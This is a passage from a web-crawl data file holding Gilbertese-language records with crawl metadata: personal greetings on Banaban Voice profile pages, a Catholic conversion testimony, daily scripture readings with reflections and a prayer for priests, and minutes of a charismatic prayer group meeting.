ataein-aine ea manga kan ooira naba karara ao a tuai man reke arora...hahaha...tia kan miss naba ara bus...aeee!!!...Neiko Nei Keke ea reke buna ao ngai ai I bon kabo ni baba naba ngkai...hahaha...ngaia neiko eng I uringa Nei Bwebwe...ngaia E mena ngkai I a ?......ao E kabae ma antai?.....neiko iai riki naba ataei Banaba ikai nte site aio...ko uringa Nei Roneta ma ana cousin are Nei Aimetika?....a mena naba ikai...and I also heard that Roneta is somewhere here in Suva...I really wana meet up with her....I bon rangi ni kan ongora rongo2n Banaba...e bon rangi ni maan te tai...ao Eng ngkana tao ko atai rongorongon Banaba tabeua mai ikanne ao koa taiaoka n update nakomai.....ao tera moa koa bon karaoia ikanne?.....aio neiko au email address ngkana ko kan kaongora riki mai ikanne....and please...do write over coz I need to know your email addy as well.....here it is.....firstname.lastname@example.org\nNeiko ko kina ngkoa Nei Katerine are natin Tebaki ma Nei Tikoa...enga ngkai?.....e tau ba kanga ia manga rangi ni babarantiko ma koa manga bon reitia mai kanne...ena tekeraoi naba te waki......","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=03c7or60bsjfl","date":"2020-10-31T17:18:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107919459.92\/warc\/CC-MAIN-20201031151830-20201031181830-00416.warc.gz","language":"gil","language_score":0.9766405821,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9766405820846558}","num_words":1035,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":0.967,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri!!\nNeiko ngkai ko bon mena naba i kiribati........ao tera am makuri ikane.....?ao euara itaku ea rawata kain waidamu i kiribati kee hahahaha......manga ngora iroum ni mawan am tai, take care....tiabo moa neitoto..i mean nei To..\nmauri nei Too.shhh kanga koa bon taratara ni marurung nai arou naba mai ikai.\nToo plz koa tuanga Manto ba ea manga chat manga on Thursday afternoon kana e bara ana mwakuri time 4.00sharp ba tiki banaban time.\ntel her ba ena contact Tery ibukin ana birth certificate kaotia mai ikanne ba ena biri akinna ba ena nakoatia Teatu 2wks mang ngkai ao ena uoti ni kabane ana paper kaotia aika atia mai ikai ma bon ti te paper are ana birth certf....\nok neito euara moa am mwakuri pls kawakina raoi am job ba are enang kakawaki.\npls kana iai ana contact # Terieri ae koa ataia ao koa manga send over nakoiu.\neraba riki ao pls koa karokoa au bubuti nakin mwanto ao Tery.\nNeito ena tekeraoi riki amwakuri ao take care.\nmauri moa nei tekoteiti are te fofoto ko uara moa enag raraba naba batia maga\nkona n teitaki nte banaban voice neiko koa bon kaina kiribati kee\neuara tao koakua n kakana teika ao temaikora.....ahahahahaha\ntau ma itoki moa ikai iai maga bon ogora mairoum nreken am tai okkk\ntekeraoi tewaki maikane\ntake care n\ntiabo moa moce manda\ngai rairi\nkouara gkai.......gaira gkai ti boni marurung naba frm this end.........anyway jst dropping by to let u know that Tenga is getting old and ugly...hehe ..e tau nee ma koa maga raraun nakoma kee......\ne tau ma regards to Mwanto maa ao tekraoi te waaki ikane\nkeep in touch......\nmuj luff\nJosphine te kakananoaga..ehehe\nmauri nei To! kouara moa ngkai? hope that everything is going on well there in the islands! hope that you commune wiht us more for info fo the family update in rabi. keep praying that one day you will see your family again! bye for now\nGod bless!\nluv from Mereta , Tororo,and your big bro Me[nunu]\nbye\nmauri nei To... toa na kaongoko moa rongorongon ara tabo ae Savutalele, ...........nte wiki ae ao e boo te camp ...kain te roro mai rabi aroko ni kaea te camp ... nee, e roko naba tarim arei ao tangaia Mariko maa a mena naba ikai nte camp ikai .... bon akea te bai ae karaoaki, ti te anne ao te taromauri ... nee tiaki kinaia angia kain toe roro aika roko ...ai bon te roro ae bou.... ao ngaira kain te roro ni kawai, ....nee, auara tangaia tebano ma teburenga? ko anga naba au kamauri nakioa ... tia boo moa.... ngai....bano\nMauri tarina... nice 2 hia 4rom u after a long long time...damn i wonder how long u've grown hahah....auara aunty koko n them n wea's m favourite broda wilfred, is he still alive or dead alraedy....hahah...well, u tkea 2 ao koangania aunty n ever1 au kamauri....\ntia bon reireitaki riki ao taratara raoi kawaim ke!!!","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profile\/Tekoteiti","date":"2020-10-31T16:32:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107919459.92\/warc\/CC-MAIN-20201031151830-20201031181830-00482.warc.gz","language":"gil","language_score":0.9847098589,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9847098588943481}","num_words":490,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ao ngke E a ruo Iesu ao te ota e ti rabuna te tabo aei, ao ngke e a moanna ni kakan ao e a bae ni uauarereke te ota ni karokoa ae e a roko inano ao Iesu E tei iaon te ota ae teina bon te kabang. Ao E arora baina Iesu mani kotea te Hall are ti tei iai (kain te charismatic). Ao temanna te aomata e biri n otinako ao e koteia nakoni Iesu ao Iesu E ioioa atuna ao imuina e a manga kaoti Uriam i matan Iesu ao e koteia ao Iesu E katoua atuna. Ti a bane naba n ira Uriam nakon Iesu ao ti bane n taua bain Iesu ao ti a waerake naba nako Karawa ma Iesu. N tai anne ao akea kinakin Uriam irou ba I a tiba roroko n te botaki ni charismatic. I a tibaia imuina ma Uriam ao ikanne are I a moanna ni kina ao n rena ma kain te botaki aei.\nMai ikai naba are e boni matoa nanou ni kan Katorika ao I a bon babetioaki ao ni moana au course are te Maiu ae Onraken te Maiu ni karokoa ae I a bon kainaomataki n Novemba n te ririki ae nako. Kain ara course n te ririki ae nako ai bon tangara, tangaia Ian Namakin, tangaia Katang, tangaia Mikaere, Martin Pine ao ai Kinarerei. Inanon wakin ara course ao ti namakina rikiraken te itangitangiri i marenara ma kain ara course ao iai naba kunara ae ti bane n oteia ma Uriam ibukin te kainaomata ae kateke nano ngkana ko ongo ba e kangai taekana:\nAIO NGAI TE UEA I KAUKA NANOU NAKOIM, NANOANGAI AO KAMAUNAI BUREU, ANGANAI TE KORAKORA N TE ONIMAKI, KAONAI N AM TANGIRA AE AKEA TIANA\nChorus: I A TABEKI BAIU N NEBOA ARAM AE TABU, I KATITUARAOIKO AU UEA IESU (IESU), I A TABEKI BAIU N NEBOA ARAM AE TABU, I KATITUARAOIKO AU UEA IESU...\nI TAROMAURIKO AU UEA IESU…\nKATEIMATOAI N AM TANGIRA IESU\nI bon kakoaua ae e a moanna ni mamakuri te Tamnei ae Raoiroi irou. Ao I rangi ni kekeiaki ba e na aki baka rorokou n te botaki ba e a moanna ni kamaiu irou.\nMa e boni ngae ngke I irira te botaki ma bon akea au onimaki iroun Nei Maria ba ti Iesu. Ni karokoa ae n teuana te karangaina ao e a manga roko naba te mi teuana ae e a kamimi riki mani kakubanako. I a mii ni karaigainan te Kanimabong 19 Tun ba aongkoa ti nang nako n Tutia, ngai ma kainabau. Ao I nora Nei Maria ae uoua rabatana aika a kaitara; teuana n te iterana ao teuana n are n iterana. Ngke ti nang nako n Tutia ao raou aei e a takinii baina nakon rabatan Nei Maria are teuana ao I a nora naba te ota ae otinako mairoun Nei Maria ao ni bakarerea baban (ana chest) raou aei ao man babaana ao e a otanako nakon rabatan Nei Maria are teuana n te aro are kanga a kauntaba taian ota aikai ao e a riki ba te ota ae e bubura. Ao man te ota aio ao I a nora te baonikarea ae tei ao e a ababaki ao uoman aomata aika a tei i aona. Ao i nano iaan te baonikarea I a noria aomata aika a bati aika a tanginiwenei ao akea kunikaia. A bon taonaki n te korakai ni maraki aomata aikai ao a tabe n tang ni kainnanoa buokaia. Titebo tarakia ma aomata aika a kabuekaki n te ai ae moan te kabuebue n te tabo ae akea te ang iai. Ao ngke I manga tara te baonikarea ao I nora Nei Maria ma Iesu aika a tabe ni korona, Nei Maria e katorobubua ao e taua te korona ao Iesu e booti baina ao e taua naba te korona.\nNgke I a uti ao I a tang ba e a roko irou te nanoanga ibukia aomata aikekei. A nako nanoia kain au auti ba a taku ba ti uun ibukin aron banau are I tatakarua iai n tang. E taku raou aei ba ti na wetea Uriam ao ngai I a kaenga. E tarebonia Uriam ao e a roko naba Uriam imuin te itera n aoa. Ngke e kaekai Uriam ao ngai I kataia n taetae nakoina ma ranin matau aika a bon wawanako ba ti tebo irou ba e kai nanou ni iangoa aroia aomata ake I noria ni maraki ba ai antai ngaia ao ai tera aroia n tiku ni kawa inanon te kainnano ao ni maraki. Ao i muina ti a nebonebo naba ma Uriam ao e a kanakoa naba te kuna are \"I aon te kaibangaki I nora au tia Kamaiu\". Ngke e a aneneaki ao I a bon namakina korakoran riki te uruaki n nano ma te nanoanga. Are a bon waanako naba ranin matau ao titebo ma I nora Iesu ngke E tine n te kaibangaki. Matau a bon tibutibu n te moaningabong anne n te kainnano ae e reke irou n te tai anne. Ao I karaba te Uea ba E anganai te karea aio ae te \"MII\".\nI karaba te Uea n ana rongorongo nakoiu n tem ii aio ba E kaotia iai ba Nei Maria bon te aine ae kakannato ba tinan Iesu ae ara tia kamaiu ao tinara naba. Ngkai I a bon tiba kakoaua Nei Maria ba ngaia te aine ae kakanato mai buakoia aine ae akea kabotauaan raoiroina ibuakoia aine.\nN te namakaina ae Aokati ao I a kabeabeanaki iroun te Uea ba Nna taibina te boki are \"Irian te Boki\" ae Te Maiu ae Onrake n Te Maiu. Ao ngai mai buakoia taan taibi akanne ae I aki kakoroa nanon te Uea ba e aki tia au boki. I a manga anganaki naba te boki arei ao I a iangoia ba e na kanga n tia ngkai akea au atatai n te taibi. I tataroakinna n te tai naba anne ngke I oki man n ara charismatic ao ngke I a taibi ao e buti nako baiu n taibi n airon te aomata ae moan bakuaku. I a nako ni matu ao I kakaitau nakon te Uea ba I ataia ba E tia ni buokai n au kanganga ae I rinona. Inanon matu ao e a manga roko naba te mi, ao I a mi ba I taibi ma I kainai inanon te ru. Ao iai ae e a karebwerebwe naba, ma korakorakoran are e nang tabeaianga nanou n aron tian au boki ba I anganaki uoua te bong ba Nna kabanea iai, ngaia are I rawa kauka au mataroa ba I rawa ni katabetabeaki. E bon aki te karebwerebwe ao ngke I a kaukia ao bon te tounako ao te takarua irou ke I nora Barry ae natin Ian ma Maranne ba e tei n te mataroa. Ao I rang maku ba I ataia ba e a tia ni mate. E rin ao e kangai \"anne am korona ae Nna anganiko ba ko na mba(kiss) ma te kaibangaki ba ngaira tia tia n start\". Ao e a taonnako naba. Ao ngke I tara muina ao I nora te ota ao Barry ae e ua korona nako moa n airon te ua karea. Ao ngke e roko i moa ao e a kaira te korona mai buakon te mirion n aomata. I titiraki irou ba ai maia naba ae e a rineki te Anera ae ten Barry ba e na kaira te korona i buakon te maiti n aomata arei.\nI karaba iai te Uea ba E kaota ana Anera nakoiu are ngaia ae e na buokai n au taibi. Ngke I a uti ao I karaoa au tataro ni karaba mani katituaraoa te Uea n te mi arei ao I a nako naba n taibinna au boki arei. Ai bon te kamimi ba e bane tinanon aua (4) te aoa.\nI rang ni karaba te Uea iroun ana Anera ae tem Barry are e anganai te korona ba kakorakorau ibukin katian te boki.\nAu karabaraba nakoin ana botaki Iesu ae E a tia n karinai iai ba ngke arona ba akea ao tao ao e na teimatoa arou ma rimoa ae I buakaka. E raba te Uea ba ngkai I a rin n te botaki aio are Saint Padre Pio ao I a tabe ni kekeiakina te maiu ni Kiritian inanon ana Tangira te Uea.I karaba naba Uriam n ana tangira ni mannanoira ni kaonoira nakon te botaki ba ngke e aki kakaungaira ao I taku ba ti na reke ba ataei ngaira aika a na tiotio nako n aki kina te Uea.\nI karabako te Uea, I neboneboiko te Uea n taai nako. Am bai nanou. Anganai te kekeiaki ao te kakorakoraki ao te teimatoa inanon maiu. Amen.\nKam raba Tariu ma Maneu n ana Tangira te Uea ao ana Raoi te Uea iroumi ao iroura n taai nako.\nNei Delli Arthur, St Padre Pio, Suva, Okitoba, 2009","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/38-e-kanenea-au-onimaki-te-uea","date":"2020-10-26T18:26:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00608.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1500,"character_repetition_ratio":0.041,"word_repetition_ratio":0.007,"special_characters_ratio":0.233,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri neiko!! ko uara ma am ataei ao ami unaine riki buum ane e boboto?neiko ia bon bubutiko ba koa bon kakaea ana kain rao am unaine anne ba ea aonga ni kariki ao eaki kanganga te nakoati ao riki nakoia tibuna a citizen!! ma ngkana ea bon ibe ao koa kaokia mai ba kureta aio e bon tataningaia.ha..ha..\nhey, giv my kiss n luv 2 de little ones esp 2 Alfred n 2 all of u.\nTiabo moa\nmauri kain nauru...tera ea bon iangoaki n ami tabo anne.....auara kain nauru....a bon still naba fatyfaty...hahaha...nee e bae n iai naba au tabo ikanne ba ngai kain naba nauru...tau tekeraoi moa ami waki...te loloma to you all....","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profile\/MaterinaTom","date":"2020-10-22T18:45:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107880014.26\/warc\/CC-MAIN-20201022170349-20201022200349-00141.warc.gz","language":"gil","language_score":0.998890698,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9988906979560852}","num_words":113,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 26 Kaabong\nWarekan te Boki ae taekan Iobi.19: 21 – 27\nE kangai Iobi: Nanoangaai, nanoangaai, ngkami raou, ba e oreai bain te Atua. E aera ngkai kam karawawataai n ai aron te Atua ao a aki toki nanomi n tiring rabatau? A bia koreaki au taeka aikai, a bia makoro ma ni kataneaki ma te koro ae te biti ao te unika, a bia tane n te ba n aki mamauna. I ataia ngai ba e maiu te tia ira tangau, ae na teirake, ba te kabanea, i aon te aba. Ngkana I a uti, ao e na kateai i rarikina, ao N na nora te Atua mai nanoni irikou. E na ira tangau teuare N na noria, tiaki te inanena ae N na noria ni matau.\nTe Taramo 26(27): 7 – 9, 13 – 14\nKaekana: N na nora am akoi i abaia akana maiu.\nTe Uea, ongo banau ni wewete, nanoangaai, kaekaai:\nE taku nanou n taekam: \"Ukera matana.\" K.\nTe Uea, I ukera matam, tai karaba matam nakoiu.\nTai kanakoa am toro n unim, ba boni Ngkoe buokau. K\nI bon ataia: N na nora ana akoi te Uea, i abaia akana maiu.\nOnimakina te Uea, keiaki, kamarurungko, onimakina te Uea. K.\nAlleluia, alleluia.\nButimaea ma te nanoraoi te taeka ae unikaki i nanomi, ba e kona i kamaiu tamneimi. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka…10: 1 – 12\nE rineia riki ana aomata ake itingauni ma uoman te Uea. Ao E kanakoia ni kakauoman, ba a na rimoana nakoni kawa ma tabo nako ike E kan nako iai. Ao E kangai nakoia: \"E boni karuo nako te tai, ma a karako tani makuri. Ma ngaia ae kam na butia Uean te tai, ba E na kanakoia tani makuri nakon ana tai. Kam na nako, ba ae I kanakoingkami n ai aroia tibu nako buakoia kameanti. Tai ua bua ni mane, tai ua tianaki, tai ua kauniwae, ao tai kamaura temanna i nanon te kawai. Ngkana kam rin n te auti teuana, ao kam na kangai moa: \"Te raoi nakon te auti aei.\" Ao ngkana iai natin te raoi i nanona, ao e na tiku i aona ami raoi; ma ngkana tao akea, ao e na tiku i aona ami raoi; ma ngkana tao akea, ao e na okiri ngkami. Kam na maeka n te auti arei, ao amarake ma ni moi ni baika a angani ngkami, ba e riai n anganaki te tia makuri boon ana makuri. Tai kitana te auti teuana n nakon te auti teuana. N te kawa nako ike kam rini iai, ngkana kam akoaki iai, ao kam na kang baika uotaki nakoimi. Kamaiuia aoraki, ao kangai nakoia aomata: 'E a kani ma ngkami Uean te Atua.' Ni kawa nako ike kam roko iai, ngkana kam aki butimaeaki, ao otinako i nanoni marae, ao kangai: 'Ti taea naba tanon ami kawa ae nimti waera, ba e na tiku iroumi. Ma kam na ataia ba e a roko Uean te Atua.' I bon tuangingkami, ba n te bongi ni motiki taeka, ao e na bebete riki aron Totoma nakon te kawa anne.\nTibatiba: N na nora am akoi i abaia akana maiu\nTibatiba: N na nora am akoi i abaia akana maiu\nTi kukurei n reitaki inanon te bong aio ni kauka ana namakiana Nei Maria ae Uean te Rotario. Bon aio te ara ae kanakanto nakon tinara Nei Maria are ti onimakina iai maakana ni buokora ni kainnanora ni kabane riki ibukin kaiokara ao karekean te rairannano ba ti aonga ni kakukureia nanon natina ae Iesu. N te bong aio ao ti kauka ana namakaina Nei Maria ma ana toa St Teretia n Iesu te Tei. Bon aio te Santa ae rangi ni kamoamoaki ibukin arona n ongotaeka man nimamannei ao ni kakaonimaki nakon te Atua. Aio te Santa are maeuakina ana kibunikoora ae moan te kakateke ae \"N na kabanea au karawa ni karaoan te raoiroi ikai i aonteaba.\" Aio te Santa are rangi ni kinaki maiuana ae tabu mani karaoan raoi tabena inaaon te mwenga ao n ana utu ma te nanorinao, te ongotaeka ao te anganao n tauraoi ni ibuobuoki nakoia aomata. Santa Teretia n Iesu te Tei e mate ngke 24 ana ririki ao e kabanea maeuna ni buokia aomata ba a na rairi nanoia ao e aki toki n tataro ibukia Berenitero ba a na karaoi tabeia ma te kakaonimaki ao inanon te itiaki ma te ongotaeka ao te nanorinano.\nTi na kabanei nanora inanon te namakaina aio ni buoka te Tama Koru ba e na kawakinaki iroun tinata Nei Maria ao e na anganaki te marurung iroun natina ae Iesu. Ti na butia naba Nei Maria ba e na tataro ibukina ba e na katauraoi raoi nakon katabuan maiuna nakon te butimaean te muikoko ae kakawaki mairoun te Atua ba e na riki ba te tia kawakina te Ekaretia Katorika iaon Kiribati. Ti uringia naba ara mitinare riki ara berebutero i aonnaba riki ake a taonaki n te aoraki ma te rawawata ,a te bainikirinaki. Ti na butia Nei Maria ba e kawakiniia ara berebitero ni kabane ao man rabunia n ana rabuna ni katantan.\nTariu ao maneu I a buti ngkami ba ti reitaki n anga naba ara namakina aio n tataro ibukia ara Tama iaon Kiribati n ana tataro St Teretia n Iesu te Tei are e oteia ibukia Taama ae kangai,\nTe Tataro Ibukia Berebitero\nIesu, Ngkoe ae bon te Berebitero n aki toki,\nKawakinia am Berebitero ni kabane inanon Atinibanim ae moan te tabu\nba a na katanaki iai man taian kabuanibai.\nKateimatoai itiakin baia ake aki toki n taua Rabatam ae Moan te Tabu\nAo kawakina itiakin wiia ake aki toki ni katonga Raraam ae Moan te Tabu.\nKaitiaka ao karaneanea nanoia ake Ko a tia ni katabui ibukin nakoaia ni Berebitero.\nAo rabunia mani katania n Am Tangira ae Moan te Tabu\nman taian kariirii nako ao baikorakin te maiu.\nKakabaiai ao kabatiai uaan aia beku Ibukim\nao ke e riki kamaeuan tamneia aomata ba maten nanoia\nao kakukureiaia iaon te aba, Ao kawaia ni karekea te kanuanga\nae te kona ni maeka ma Ngkoe\nInanon te mimitong ae akea tokina i Karawa. Amen.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1519-n-na-nora-am-akoi-i-abaia-akana-maiu","date":"2020-10-26T18:05:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00621.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1020,"character_repetition_ratio":0.046,"word_repetition_ratio":0.014,"special_characters_ratio":0.229,"stopwords_ratio":0.371,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kaue mauri riki, kabara te bure nte kaitibo nte Airport, tia nang katabeko, ma ko raraba riki n am i bubuoki, e reke kaitibom mae ana koraki nei aam mae aike kouota ai bai, ko raba ao tia manga ongora ni mawam.\nMauri Kaue,\nIai au bubuti nakoim bwa iongo ae Titau ao Pelenise ngkai aroko i Aotiteria, ikan butiko ngkana arona bwa iai aia contact number i Aotiteria iroum ao ngkana iai kokona n anganai bwa ikan taetae ma ngaia.\nGoodmorning\nIa roko ikai ao na kitanna ikai nte afternoon. Iai te kanganga bwa eaki reke am kamaimai bwa iai ae anganai ao i bon waereme n otinako ao akea nake anganakibwa ana anganai. Bon ti am bwai aika irou aikai, am reta, te mane ae $50.00 ae ko bon ataia ao ai am tibuta. Na tareboniko nte bong aei ao ia tiangko te tabo ae na kaitibo iai ma ngkoe. Ko rabwa\nBULA NEI KAUE e raraba naba tei ibuobuoki neiko ngaia iatia n reitaki ma kain te auti ma ana kataia ni kabaitia au bai ake ananganiko ba ai uotam naba ngkana atia kee.neiko e raraba riki ao kam na tekeraoi ma buum ao natim nte wiiki ae boou aei\nmauri nei kauee kam uara ngkai neiko ko nanakomai ngkoa ningai,ngkana konang manannga ao iai koa tuangai ba iai au bubuti ba kona uota au bai au tibuta ngakana arona ba ena angaraoi iroum ko raba ia manga ongongora mai iroum.tekeraoi te makuri tia boo moa","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profile\/KaueTekaie","date":"2020-10-28T09:46:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107897022.61\/warc\/CC-MAIN-20201028073614-20201028103614-00543.warc.gz","language":"gil","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000078678131104}","num_words":248,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.258,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Tabo: Ana auti Fr Koru.\nAika Roko: Fr Koru Taman te charismatic\nIaen Namakin Tia Babaire\nIoane Kauoman\nTiiria Riwata Tia Mwane\nToom Timee Tia Koroboki\nKantarawa Yeeting \"\nA roko: Eritabeta Katimiri Kauoman Tia Mwane\nKanoan te Bowi\n1) Mwakuri aika riai ni karaoaki\nIangoan taian project aika a kakawaki aika ana waakinaki ibukin te Charismatic. Ana bane ni katebenakoaki ao ni barongaaki raoi (priotized) man ae rang kakawaki.\n2) Tiim n tararuai taian Karea\nTe iango ae kakawaki ngkanne bon katean te tiim teuana are e na tararuai raoi taiani Karea n aron are e tataekinna te Tama Koru are e a korakora maeurerein te Karea ao ngkana e aki tararuaaki raoi ao e na burinako man riki bwa te tsunami. E nora riaina te NSC bwa nanon te Uea ao ngkanne e nang kateaki. E tuatua te Tama bwa e riai ni karauaki moa n tataroakinaki raoi ao ni kaotinakoaki taian ara n tainte reitaki n nebonebo I Bikenibeu. E baireaki naba bwa kaka 3 te maiti man taian Parish aika 3. Tabeia kain te tiim aikai bwa ana tararuai raoi taian karea ni kinai raoi ao ni karaui naba ni boutokai aika ana karea raoi te tamnei ae raoiroi ao ake tiaki ana waekoa naba ni kamunai.\n3)Kanoan te Tabati 08\/08\/2010 te reitaki n nebonebo I Bikenibeu\nAio ngkanne e bon tiku inanoni baia kain Bikenibeu katauraoan kanoana ni kabane.\n4) Te reitaki n nebonebo n te kauoua n raun\nE baireia te NSC bwa te kauoua n raun n nebonebo ao e nang aki buti n aron are Betio, Teaoraereke ao ai Bikenibeu ma e nang ti kakaraoaki te nebonebo I Teaoraereke iaan norana ae riai ao a nora naba riaina aia reps Betio ao Bikenibeu bwa bon ti Teaoraereke ae ti Inaomata iai n tutia ni charismatic. E kakoaua naba te Tama ae ngkana e bo I Betio ke Bikenibeu ao e bon aki kona n ribano ni ianena ke ni kaira te tutia ni charismatic iaan ae bon rawata aomata aika tiaki kain te charismatic bwa are te tutia bon ana bwai te parish ao I Teaoraereke e inaomata te Tama bwa are bon ana tutia te charismatic. E na bainaki aio n te kauoua ni buti are imwin te toa ae Aokati.\n5) Manga kamaiuan Aonnaba\nE na manga kamaiuaki aonnaba ao teuana naba te abamakoro ae katarataraaki bon Marakei ngkai e rawata ana urubai te tamnei ae buakaka. E kaotia te Tama bwa bon tiaki ti Marakei ma bon abamakoro ni kabane bwa oin te kanganga bon te roro ae rikirake are e a manga kauti baini kawai ao ni karaoi bwa kanga aia bai n takakaro n aki akaka. Bon aio naba oin naba maiureirein taian karea mairoun te tamnei ae raoiroi bwa e rang kainnanoaki te mwakuri korakora ni buakanaki teuare e buakaka. Ana kawaraki naba Butaritari, Mwakin, Kuria, Nonouti ao Onotoa are e bon roko naba aia bubuti iroun te Tama Koru ao te NSC.\nE a bane te bowi ao e kainaki te maroro iroun Fr Koru ike ti a okiri naba mwengara ma ana tangira te Uea.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/nsc\/minitin-ana-bowi-te-nsc\/49-03-aokati-2010","date":"2020-10-26T18:10:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00614.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":514,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 28 Moanibong\nWarekan ana Reta Bauro nakoia I Karatia…4: 22 – 24, 26 – 27, 31 – 5:1\nE koreaki ba uoam natin Aberaam, ba temanna mairoun te toro, ao temanna maiorun te inaomata. E bungiaki natin neiere te toro n ai aroia aomata nako, ma e bungiaki natin neiere te inaomata ba muin te motintaeka. Bon te taetae ni kaikonaki anne. Ba aine akanne, boni berita aika uoua. Temanna, bon aomatan Tinai, ao e kariki i bukin te toronaki; bon neiere Aka. Ma e inaomata Ierutarem are i eta, ao bon tinara, ba e koreaki ae kangai: \"Kukurei, ngkoe te kanoabo; takarua ni kukurei, ngkoe ae ko aki ariri, ba a maiti riki natin neiere kaakiaki nakoia natin neiere bunaki.\" Ma ngaia ae, tariu, tiaki natin te toro ngaira, ma bon natin te inaomata. E kainaomataira Kristo ba ti aong an tiku ni inaomata. Ma ngaia ae, teimatoa ao tai manga bae n te amo ae te toronaki.\nTe Taramo 112 (113): 1 – 7\nKaekana: E na neboaki ara te Uea n aki toki.\nAna toro te Uea, neboia, neboa aran te Uea.\nE na neboaki aran te Uea, mangkai n aki toki. K\nMan otin taai n ua bungina. e na neboaki aran te Uea.\nE rietata te Uea i aoia botanaomata, ane i etani karawa mimitongina. K.\nAntai ae ai aron te Uea ae Atuara, ae tekateka i karawa\nao E ruo n tara karawa ma aonaba? E tabeka ane mangori mai buakon te tano,\nE ana te kainnano mai buakon te mange. K\nAlleluia, alleluia.\nKaurei matau, te Uea, ba N na nori kamimi aika muin am tua. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka…9: 29 – 32\nA maiti te koraki ake a Kariba rarikin Iesu, ao E taetae ni kangai: \"Bon te roro ae buakaka te roro aei; e tangira te kanikina, ma akea te kanikina ae a na anganaki, ba tit e kanikina ae a na anganaki, ba tit e kanikina ae Iona. Ba ai aroni Iona ngke e riki ba te kanikina i bukia kain Niniwe, ao ai aron naba Natin te aomata: E na riki ba te kanikina i bukin te roro aei. N taint e motikitaeka e na teirake neiere ueani Maiaki ma aomatan te roro aei, ao e na kabuakakaia, ba e mananga ngaia mai tabon aonaba ba e na ongora ni wanawanan Toromon, ao boni iai ikai ae kakanato riki nakon Toromon, ao boni iai ikai ae kakanato riki nakon Toromon. N tain te Motikitaeka a na teirake kain Niniwe ma te roro aei ao a na kabuakakaia, ba a rairi nanoia ngaia n ana taeka Iona, ao boni iai ikai ae kakanato riki nakoni Iona.\"\nTibatiba: Te Onimaki ae Maiuakinaki\nTariu ao maneu tao a bon bane n reke otara aiak matata nte rongorongo are ti anganaki n te Tabati are ngkoananoa. Eng, bon oin te iango man ana taeka te Uea bon Nanon te Atua are e a tia ni katangaina nakon te aonnaba ba te kamaiuaki ae reke iroura ngkana ti kakaraoa Nanon Iesu ni katoa bong. Ma e na bon ti reke aio ngkana iai te onimaki iroura ba Iesu bon Natin te Atua are ruo mai Karawa ba E na anganira kororaoin te kamaiuaki man marakin ao maten Iesu iaon te kaibangaki ibukira n aki toki. Eng bon aio oin te rongorongo; ba a maiti aika weteaki ma a karako aika rineaki. Ao te koraki aika rineaki bon te koraki ake a rairi nanoia, a kakeaia i bon irouia, a tabeka aia kaibangaki ao ririmuin Iesi ni katoa.\nE mataata n te rongorongo are ngkoananoa ba ti bane ni kaoaki nakon te bakanamarake are bon te kukurei ao te I rinnako i Karawa ni kaea te bakanamarake ae akea aki totoki. Ao ti ongo n te 